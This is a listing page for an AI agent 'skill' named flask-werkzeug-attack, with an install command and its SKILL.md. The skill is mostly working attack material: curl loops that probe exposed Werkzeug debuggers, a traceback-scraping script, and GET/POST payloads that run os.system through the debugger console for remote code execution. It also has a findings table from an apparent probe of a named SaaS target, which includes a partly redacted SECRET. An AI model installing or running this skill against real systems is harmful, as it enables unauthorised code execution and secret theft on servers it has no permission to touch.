用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/Wyl-cmd/kxns-cli --skill flask-werkzeug-attack命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | flask-werkzeug-attack |
| description | Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks. |
| sources | field_recon, target-health-saas_com_deep_probe_june_2026 |
| report_count | 1 |
| category | recon |
Flask applications with debug=True enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).
?__debugger__=yes parameter appears in URL resources (CSS, JS, PNG)var CONSOLE_MODE, var EVALEX, or SECRET= in the HTMLterminal tool with curldebug=True in production (misconfiguration)# Check if Werkzeug debugger is active — trigger an error
curl -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5
# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
result=$(curl -sk "https://target.com:PORT$path" 2>/dev/null)
if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
echo "TRIGGERED: $path"
echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
fi
done
The Werkzeug debugger exposes:
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET="vYQ93K...8cww";
</script>
import requests, re
resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text
# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
print(f" {f}")
# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
clean = re.sub(r'<[^>]+>', '', s)
print(clean[:200])
The Werkzeug debugger console allows Python code execution on the server IF EVALEX=true and CONSOLE_MODE=true.
# The SECRET and console mode are in the HTML
curl -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'
If EVALEX=true:
# Access the console
curl -sk "https://target.com:PORT/console"
Signal check: If /console returns HTTP 400 (not 404), the debugger IS active but the console is disabled. HTTP 404 means no debugger at all. HTTP 200 with console UI means RCE is available.
If EVALEX=true:
# Execute Python commands (POST to the debugger endpoint)
curl -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
-d "code=__import__('os').system('id')"
# Alternative: GET-based eval
curl -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"
Note: The console endpoint may require specific method (POST vs GET) and may return HTTP 405 if the wrong method is used. Test both.
If EVALEX=false (most common in production), the console is disabled and cannot execute commands. However:
?__debugger__=yes — this is the debugger interface itself; if it loads, the debugger is partially activeBeyond the specific error-triggering path, probe for other endpoints that may leak different info:
# Path traversal in error generation
curl -sk "https://target.com:PORT/path/to/../sitemap.xml"
# Test various HTTP methods
curl -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl -sk -X DELETE "https://target.com:PORT/sitemap.xml"
# Check if error page returns CORS headers
curl -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control
| Finding | Value |
|---|---|
| Trigger path | /sitemap.xml (HTTP 500) |
| Error | NameError: name 'Response' is not defined |
| Framework | Flask (Python 3.10) |
| Server path | /var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py |
| SECRET | vYQ93K...8cww (exposed in HTML) |
| Console | DISABLED (EVALEX=false, CONSOLE_MODE=false) |
| CORS | Access-Control-Allow-Origin: * on error page |
| Other endpoints | POST /login returns JSON, POST /register returns HTTP 403 |
Access-Control-Allow-Origin headers — CORS wildcard on the debugger page means an attacker-controlled website can read the SECRET and traceback via fetch().hunt-rce — General RCE hunting; console-enabled Werkzeug would be RCEhunt-python — Python-specific vulnerability huntingjs-secrets-extraction — Finding API keys that may work with the Flask APIhunt-source-leak — Finding .env and config files that may contain Flask SECRET_KEYcache-attack — Cache poisoning via Werkzeug error page (if CDN caches the 500 response)